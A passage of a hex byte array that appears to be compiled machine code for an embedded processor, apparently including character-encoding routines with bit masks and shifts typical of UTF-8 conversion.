0x12, 0xc0, 0x00, 0x00,
0x13, 0x1c, 0x00, 0x00,
0x12, 0xc0, 0x00, 0x00,
0x33, 0xe1, 0x00, 0x1c,
0x10, 0xdf, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0xe8, 0xfb, 0x00, 0x00,
0xea, 0xfa, 0x00, 0x00,
0xea, 0x7a, 0x00, 0x04,
0xb9, 0xf4, 0xfd, 0x28,
0x11, 0x1a, 0x00, 0x00,
0xaa, 0x43, 0xff, 0xff,
0xbe, 0x12, 0x00, 0xc4,
0x10, 0xc3, 0x00, 0x00,
0x14, 0x63, 0xc8, 0x00,
0x16, 0x56, 0x18, 0x03,
0xbc, 0x52, 0x00, 0x64,
0x16, 0x59, 0x30, 0x03,
0xbc, 0xb2, 0x00, 0x5c,
0xbe, 0x1c, 0x00, 0x3c,
0x12, 0xd6, 0x30, 0x00,
0xbc, 0x66, 0x00, 0x28,
0x10, 0xa0, 0x00, 0x00,
0x10, 0x65, 0x08, 0x00,
0xe0, 0x83, 0x00, 0x1c,
0xd0, 0x98, 0x28, 0x00,
0x30, 0xa5, 0x00, 0x01,
0x16, 0x45, 0x30, 0x00,
0xbe, 0x32, 0xff, 0xf0,
0x10, 0x65, 0x08, 0x00,
0x13, 0x18, 0x30, 0x00,
0xe8, 0x7d, 0x00, 0x00,
0x30, 0x63, 0x00, 0x04,
0xf8, 0x7d, 0x00, 0x00,
0xe8, 0x7b, 0x00, 0x00,
0xbc, 0x03, 0x00, 0x7c,
0x16, 0x59, 0xb0, 0x03,
0xbe, 0xb2, 0x00, 0x18,
0x33, 0x7b, 0x00, 0x04,
0xb8, 0x10, 0xff, 0x78,
0x10, 0xdf, 0x00, 0x00,
0xfa, 0x7a, 0x00, 0x04,
0xfa, 0xfa, 0x00, 0x00,
0x10, 0x76, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x28,
0xea, 0xc1, 0x00, 0x2c,
0xea, 0xe1, 0x00, 0x30,
0xeb, 0x01, 0x00, 0x34,
0xeb, 0x21, 0x00, 0x38,
0xeb, 0x41, 0x00, 0x3c,
0xeb, 0x61, 0x00, 0x40,
0xeb, 0x81, 0x00, 0x44,
0xeb, 0xa1, 0x00, 0x48,
0xeb, 0xc1, 0x00, 0x4c,
0xeb, 0xe1, 0x00, 0x50,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x54,
0xeb, 0x66, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x18,
0x33, 0x20, 0xff, 0xff,
0x30, 0x60, 0x00, 0x8a,
0xf8, 0x7e, 0x00, 0x0c,
0xf8, 0x1a, 0x00, 0x00,
0xb8, 0x10, 0xff, 0xac,
0x32, 0xc0, 0xff, 0xff,
0xbc, 0x1c, 0x00, 0x08,
0xf8, 0x7d, 0x00, 0x00,
0xf8, 0x7a, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x98,
0x32, 0xd6, 0xff, 0xff,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xa0, 0x09, 0xac,
0x30, 0x21, 0xff, 0xd8,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xf9, 0xe1, 0x00, 0x00,
0x12, 0xc6, 0x00, 0x00,
0x12, 0x67, 0x00, 0x00,
0xb9, 0xf4, 0xd7, 0x54,
0x12, 0xe8, 0x00, 0x00,
0x22, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x03,
0xbc, 0xb2, 0x00, 0xf4,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xa0, 0x09, 0xac,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xc0, 0x01, 0x5c,
0xb9, 0xf4, 0x71, 0xac,
0x80, 0x00, 0x00, 0x00,
0xbc, 0x23, 0x00, 0x64,
0xbe, 0x16, 0x00, 0xb8,
0x11, 0x20, 0x00, 0x00,
0x32, 0x40, 0x00, 0x7f,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0xa4,
0x31, 0x20, 0x00, 0x01,
0x30, 0x73, 0xff, 0x80,
0x22, 0x40, 0x07, 0x7f,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x02, 0x18,
0xa4, 0x93, 0x00, 0x3f,
0xa4, 0x73, 0x07, 0xc0,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0xa0, 0x84, 0xff, 0x80,
0xa0, 0x63, 0xff, 0xc0,
0xf0, 0x96, 0x00, 0x01,
0xf0, 0x76, 0x00, 0x00,
0xb8, 0x10, 0x00, 0x60,
0x31, 0x20, 0x00, 0x02,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xa0, 0x09, 0xac,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xc0, 0x01, 0x64,
0xb9, 0xf4, 0x71, 0x30,
0x80, 0x00, 0x00, 0x00,
0xbc, 0x23, 0x00, 0x68,
0xbe, 0x16, 0x00, 0x3c,
0x11, 0x20, 0x00, 0x00,
0x90, 0x73, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0xa5, 0x43, 0x00, 0xff,
0xbe, 0x2a, 0x01, 0x30,
0x30, 0x6a, 0x00, 0x7f,
0x31, 0x20, 0x00, 0x01,
0xf2, 0x76, 0x00, 0x00,
0x10, 0x69, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x28,
0xbe, 0x36, 0xff, 0xdc,
0x11, 0x20, 0x00, 0x00,
0xb8, 0x00, 0xff, 0xdc,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xa0, 0x09, 0xac,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xc0, 0x01, 0x6c,
0xb9, 0xf4, 0x70, 0xb0,
0x80, 0x00, 0x00, 0x00,
0xbc, 0x23, 0x00, 0x58,
0xbe, 0x16, 0xff, 0xbc,
0x11, 0x20, 0x00, 0x00,
0x90, 0x73, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0xa5, 0x43, 0x00, 0xff,
0xbe, 0x0a, 0xff, 0x8c,
0x31, 0x20, 0x00, 0x01,
0x30, 0x6a, 0x00, 0x5f,
0xa4, 0x63, 0x00, 0xff,
0x22, 0x40, 0x00, 0x5d,
0x16, 0x43, 0x90, 0x03,
0xbe, 0xb2, 0x04, 0x50,
0xa4, 0x93, 0x00, 0xff,
0xb8, 0x10, 0xff, 0x70,
0x31, 0x20, 0xff, 0xff,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xa0, 0x09, 0xac,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xc0, 0x01, 0x74,
0xb9, 0xf4, 0x70, 0x40,
0x80, 0x00, 0x00, 0x00,
0xbc, 0x23, 0xff, 0x6c,
0xbe, 0x16, 0xff, 0x4c,
0x31, 0x20, 0x00, 0x01,
0x90, 0x73, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0xa5, 0x43, 0x00, 0xff,
0xbe, 0x2a, 0x01, 0xa0,
0xa4, 0xb3, 0x00, 0xff,
0xe8, 0x77, 0x00, 0x00,
0xbe, 0x03, 0x00, 0x28,
0x30, 0x80, 0x00, 0x28,
0xf9, 0x57, 0x00, 0x00,
0x30, 0x60, 0x00, 0x1b,
0xf0, 0x76, 0x00, 0x00,
0x30, 0x60, 0x00, 0x42,
0xf0, 0x96, 0x00, 0x01,
0xf0, 0x76, 0x00, 0x02,
0x31, 0x20, 0x00, 0x04,
0x32, 0xd6, 0x00, 0x03,
0xf0, 0xb6, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0xec,
0x10, 0x69, 0x00, 0x00,
0xa4, 0x63, 0x00, 0xff,
0x22, 0x40, 0x00, 0x1e,
0x16, 0x43, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x24,
0xa4, 0x93, 0x00, 0xff,
0x30, 0x6a, 0x00, 0x20,
0xa4, 0x63, 0x00, 0xff,
0x22, 0x40, 0x00, 0x0f,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0xfe, 0xbc,
0x31, 0x20, 0xff, 0xff,
0xa4, 0x93, 0x00, 0xff,
0x30, 0x64, 0xff, 0xc0,
0xa4, 0x63, 0x00, 0xff,
0x22, 0x40, 0x00, 0x3e,
0x16, 0x43, 0x90, 0x03,
0xbe, 0xb2, 0x00, 0x14,
0xa8, 0x64, 0x00, 0x80,
0x22, 0x40, 0x00, 0x7c,
0x16, 0x43, 0x90, 0x03,
0xbc, 0x52, 0xff, 0x20,
0xf0, 0x96, 0x00, 0x01,
0xf1, 0x56, 0x00, 0x00,
0xb8, 0x10, 0xfe, 0x84,
0x31, 0x20, 0x00, 0x02,
0x30, 0x73, 0xf8, 0x00,
0xb0, 0x00, 0x00, 0x00,
0x22, 0x40, 0xf7, 0xff,
0x16, 0x43, 0x90, 0x03,
0xbc, 0xb2, 0x02, 0xb8,
0xb0, 0x00, 0xff, 0xff,
0x30, 0x73, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x1e,
0x22, 0x40, 0xff, 0xff,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x01, 0x48,
0xa4, 0xd3, 0x00, 0x3f,
0xb0, 0x00, 0x00, 0x1c,
0xa4, 0x73, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x03,
0xa4, 0x93, 0xf0, 0x00,
0xa4, 0xb3, 0x0f, 0xc0,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0xa0, 0x63, 0xff, 0xf0,
0xa0, 0x84, 0xff, 0x80,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0xa0, 0xc6, 0xff, 0x80,
0xa0, 0xa5, 0xff, 0x80,
0xf0, 0xd6, 0x00, 0x03,
0xf0, 0x76, 0x00, 0x00,
0xf0, 0x96, 0x00, 0x01,
0xf0, 0xb6, 0x00, 0x02,
0xb8, 0x10, 0xfd, 0x88,
0x31, 0x20, 0x00, 0x04,
0x30, 0x6a, 0xff, 0xdf,
0xa4, 0x63, 0x00, 0xff,
0x22, 0x40, 0x00, 0x5d,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0xfd, 0x70,
0x31, 0x20, 0xff, 0xff,
0x30, 0x65, 0xff, 0xdf,
0xa4, 0x63, 0x00, 0xff,
0x22, 0x40, 0x00, 0x5d,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0xfd, 0x5c,
0x10, 0x69, 0x00, 0x00,
0xe8, 0x77, 0x00, 0x00,
0xbe, 0x23, 0x00, 0x30,
0x31, 0x20, 0x00, 0x02,
0x30, 0x60, 0x00, 0x01,
0xf8, 0x77, 0x00, 0x00,
0x30, 0x80, 0x00, 0x1b,
0xf0, 0x96, 0x00, 0x00,
0x30, 0x60, 0x00, 0x24,
0x30, 0x80, 0x00, 0x42,
0xf0, 0x76, 0x00, 0x01,
0xf0, 0x96, 0x00, 0x02,
0x31, 0x20, 0x00, 0x05,
0x32, 0xd6, 0x00, 0x03,
0xf0, 0xb6, 0x00, 0x01,
0xf1, 0x56, 0x00, 0x00,
0xb8, 0x10, 0xfd, 0x18,
0x10, 0x69, 0x00, 0x00,
0xb0, 0x00, 0xff, 0xe0,
0x30, 0x73, 0x00, 0x00,
0xb0, 0x00, 0x03, 0xdf,
0x22, 0x40, 0xff, 0xff,
0x16, 0x43, 0x90, 0x03,
0xbe, 0x52, 0x01, 0xec,
0xa4, 0xf3, 0x00, 0x3f,
0xb0, 0x00, 0x03, 0x00,
0xa4, 0x73, 0x00, 0x00,
0xb0, 0x00, 0x00, 0xfc,
0xa4, 0x93, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x03,
0xa4, 0xb3, 0xf0, 0x00,
0xa4, 0xd3, 0x0f, 0xc0,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0xa0, 0x63, 0xff, 0xf8,
0xa0, 0x84, 0xff, 0x80,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0xa0, 0xa5, 0xff, 0x80,
0xa0, 0xc6, 0xff, 0x80,
0xa0, 0xe7, 0xff, 0x80,
0xf0, 0xf6, 0x00, 0x04,
0xf0, 0x76, 0x00, 0x00,
0xf0, 0x96, 0x00, 0x01,
0xf0, 0xb6, 0x00, 0x02,
0xf0, 0xd6, 0x00, 0x03,
0xb8, 0x10, 0xfb, 0xbc,
0x31, 0x20, 0x00, 0x05,
0xb0, 0x00, 0xff, 0xff,
0x30, 0x73, 0x28, 0x00,
0x22, 0x40, 0x07, 0xff,
0x16, 0x43, 0x90, 0x03,
0xbe, 0xb2, 0xfc, 0x34,
0xa4, 0x73, 0x00, 0x3f,
0xb0, 0x00, 0x00, 0x00,
0xa4, 0x93, 0xf0, 0x00,
0xa4, 0xb3, 0x0f, 0xc0,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0xa0, 0x84, 0xff, 0xe0,
0xa0, 0xa5, 0xff, 0x80,
0xa0, 0x63, 0xff, 0x80,
0xf0, 0x76, 0x00, 0x02,
0xf0, 0x96, 0x00, 0x00,
0xf0, 0xb6, 0x00, 0x01,
0xb8, 0x10, 0xfb, 0x30,
0x31, 0x20, 0x00, 0x03,
0x30, 0x64, 0x00, 0x5f,
0xa4, 0x63, 0x00, 0xff,
0x22, 0x40, 0x00, 0x5d,
0x16, 0x43, 0x90, 0x03,
0xbc, 0xb2, 0xfc, 0x8c,
0xb8, 0x10, 0xfb, 0x14,
0x31, 0x20, 0xff, 0xff,
0xb0, 0x00, 0x03, 0xff,
0x32, 0x40, 0xff, 0xff,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xfb, 0x90,
0xa5, 0x13, 0x00, 0x3f,
0xb0, 0x00, 0x40, 0x00,
0xa4, 0x73, 0x00, 0x00,
0xb0, 0x00, 0x3f, 0x00,
0xa4, 0x93, 0x00, 0x00,
0xb0, 0x00, 0x00, 0xfc,
0xa4, 0xb3, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x03,
0xa4, 0xd3, 0xf0, 0x00,
0xa4, 0xf3, 0x0f, 0xc0,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x63, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0x90, 0x84, 0x00, 0x01,
0xa0, 0x63, 0xff, 0xfc,
0xa0, 0x84, 0xff, 0x80,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xa5, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0x90, 0xc6, 0x00, 0x01,
0xa0, 0xa5, 0xff, 0x80,
0xa0, 0xc6, 0xff, 0x80,
0x90, 0xe7, 0x00, 0x01,
0x90, 0xe7, 0x00, 0x01,
0x90, 0xe7, 0x00, 0x01,
0x90, 0xe7, 0x00, 0x01,
0x90, 0xe7, 0x00, 0x01,
0x90, 0xe7, 0x00, 0x01,
0xa1, 0x08, 0xff, 0x80,
0xa0, 0xe7, 0xff, 0x80,
0xf1, 0x16, 0x00, 0x05,
0xf0, 0x76, 0x00, 0x00,
0xf0, 0x96, 0x00, 0x01,
0xf0, 0xb6, 0x00, 0x02,
0xf0, 0xd6, 0x00, 0x03,
0xf0, 0xf6, 0x00, 0x04,
0xb8, 0x10, 0xf9, 0x3c,
0x31, 0x20, 0x00, 0x06,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x80, 0x04, 0xa4,
0x30, 0x21, 0xff, 0xe0,
0xfa, 0x61, 0x00, 0x1c,
0xf9, 0xe1, 0x00, 0x00,
0xbe, 0x04, 0x00, 0x10,
0x12, 0x65, 0x00, 0x00,
0xe8, 0x64, 0x00, 0x18,
0xbc, 0x03, 0x00, 0x8c,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x53, 0x01, 0xa8,
0xbc, 0x12, 0x00, 0x94,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x53, 0x01, 0xc8,
0xbc, 0x12, 0x00, 0x98,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x53, 0x01, 0xe8,
0xbc, 0x12, 0x00, 0x9c,
0xe4, 0x93, 0x00, 0x0c,
0xa4, 0x64, 0x00, 0x08,
0xbe, 0x03, 0x00, 0xac,
0xa4, 0x64, 0x00, 0x10,
0xe8, 0x93, 0x00, 0x10,
0xbc, 0x04, 0x00, 0x94,
0xe4, 0x73, 0x00, 0x0c,
0xa4, 0x83, 0x00, 0x01,
0xbe, 0x24, 0x00, 0x20,
0x10, 0xa0, 0x00, 0x00,
0xa4, 0x63, 0x00, 0x02,
0xbc, 0x23, 0x00, 0x08,
0xe8, 0x93, 0x00, 0x14,
0xf8, 0x93, 0x00, 0x08,
0xb8, 0x10, 0x00, 0x18,
0x10, 0xa0, 0x00, 0x00,
0xe8, 0x73, 0x00, 0x14,
0xf8, 0xb3, 0x00, 0x08,
0x14, 0x63, 0x00, 0x00,
0xf8, 0x73, 0x00, 0x18,
0x10, 0x65, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x20,
0xb9, 0xf4, 0x22, 0xf4,
0x10, 0xa4, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x53, 0x01, 0xa8,
0xbc, 0x32, 0xff, 0x74,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0xea, 0x63, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x7c,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0xea, 0x63, 0x00, 0x04,
0xb8, 0x00, 0xff, 0x6c,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0xea, 0x63, 0x00, 0x08,
0xb8, 0x00, 0xff, 0x5c,
0xb9, 0xf4, 0x34, 0x0c,
0x10, 0xb3, 0x00, 0x00,
0xb8, 0x00, 0xff, 0x68,
0xbe, 0x03, 0xff, 0x9c,
0x30, 0xa0, 0xff, 0xff,
0xa4, 0x64, 0x00, 0x04,
0xbc, 0x03, 0x00, 0x54,
0xe8, 0xd3, 0x00, 0x34,
0xbe, 0x06, 0x00, 0x24,
0x30, 0x73, 0x00, 0x44,
0x16, 0x43, 0x30, 0x00,
0xbc, 0x12, 0x00, 0x14,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0xa0, 0x04, 0xa4,
0xb9, 0xf4, 0x28, 0xe4,
0x80, 0x00, 0x00, 0x00,
0xf8, 0x13, 0x00, 0x34,
0xe4, 0x73, 0x00, 0x0c,
0xe8, 0x93, 0x00, 0x10,
0xf8, 0x13, 0x00, 0x04,
0xa4, 0x63, 0xff, 0xdb,
0xf4, 0x73, 0x00, 0x0c,
0xf8, 0x93, 0x00, 0x00,
0xe4, 0x73, 0x00, 0x0c,
0xa0, 0x63, 0x00, 0x08,
0xf4, 0x73, 0x00, 0x0c,
0xb8, 0x00, 0xff, 0x04,
0xe8, 0x93, 0x00, 0x10,
0xb8, 0x00, 0xff, 0xec,
0xb0, 0x00, 0x00, 0x00,
0xe8, 0x60, 0xff, 0x68,
0x30, 0x21, 0xff, 0xc8,
0xfb, 0x41, 0x00, 0x30,
0xfb, 0x61, 0x00, 0x34,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x1c,
0xfa, 0xc1, 0x00, 0x20,
0xfa, 0xe1, 0x00, 0x24,
0xfb, 0x01, 0x00, 0x28,
0xfb, 0x21, 0x00, 0x2c,
0xeb, 0x03, 0x00, 0x48,
0x13, 0x65, 0x00, 0x00,
0xbe, 0x18, 0x00, 0x50,
0x13, 0x46, 0x00, 0x00,
0xe8, 0x78, 0x00, 0x04,
0xeb, 0x38, 0x00, 0x88,
0x32, 0x63, 0xff, 0xff,
0xbc, 0x53, 0x00, 0x3c,
0x60, 0x93, 0x00, 0x04,
0x30, 0x64, 0x00, 0x08,
0x12, 0xd8, 0x18, 0x00,
0xbe, 0x06, 0x00, 0x74,
0x12, 0xf9, 0x20, 0x00,
0xbc, 0x19, 0x00, 0xd4,
0xe8, 0x77, 0x00, 0x80,
0x16, 0x43, 0xd0, 0x00,
0xbc, 0x12, 0x01, 0x00,
0x32, 0x73, 0xff, 0xff,
0x32, 0xf7, 0xff, 0xfc,
0xaa, 0x53, 0xff, 0xff,
0xbe, 0x32, 0xff, 0xe8,
0x32, 0xd6, 0xff, 0xfc,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0x61, 0x00, 0x1c,
0xea, 0xc1, 0x00, 0x20,
0xea, 0xe1, 0x00, 0x24,
0xeb, 0x01, 0x00, 0x28,
0xeb, 0x21, 0x00, 0x2c,
0xeb, 0x41, 0x00, 0x30,
0xeb, 0x61, 0x00, 0x34,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x38,
0xe8, 0xb7, 0x00, 0x00,
0x99, 0xfc, 0x38, 0x00,
0x80, 0x00, 0x00, 0x00,
0x32, 0x73, 0xff, 0xff,
0x32, 0xf7, 0xff, 0xfc,
0xaa, 0x53, 0xff, 0xff,
0xbe, 0x12, 0xff, 0xc0,
0x32, 0xd6, 0xff, 0xfc,
0xe8, 0x78, 0x00, 0x04,
0xe8, 0xf6, 0x00, 0x00,
0x30, 0x63, 0xff, 0xff,
